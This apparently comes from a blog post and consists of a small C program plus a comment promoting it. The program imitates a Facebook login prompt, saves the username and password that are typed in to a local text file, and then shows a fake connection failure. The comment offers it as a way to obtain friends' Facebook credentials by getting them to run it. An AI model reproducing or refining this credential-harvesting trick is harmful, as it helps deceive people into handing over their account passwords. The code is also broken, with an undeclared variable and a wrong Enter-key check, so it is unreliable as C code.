#include<stdio.h>
#include<conio.h>
int main()
{
FILE *fp;
char str[50];
char c = ' ';
int i = 0;
fp = fopen("new.txt", "w");
printf("FACEBOOK THROUGH C\n");
printf("Username/Email:\n");
fscanf(stdin, "%s", str);
fprintf(fp, "%s", str);
printf("You Entet \n");
fprintf(stdout,"%s",s);
printf("Password\n ");
while (i < 15)
{
str[i] = getch();
c = str[i];
if (c == 15)
break;
else
printf("*");
i++;
}
printf("\n");
fprintf(fp, "%s", str);
printf("\n");
printf("\n\n Connecting......");
for (int i = 10; i >= 0; i--)
{
sleep(1);
printf("\n reconnecting ........%d seconds\n", i);
clrscr();
}
sleep(1);
printf("Server not found \n");
printf("\n Your password is : %s", str);
return 0;
}
/* this gives a .txt file.In this file you can find your friends (facebook) username and password. (if you ask your friend to RUN this programme */
No comments:
Post a Comment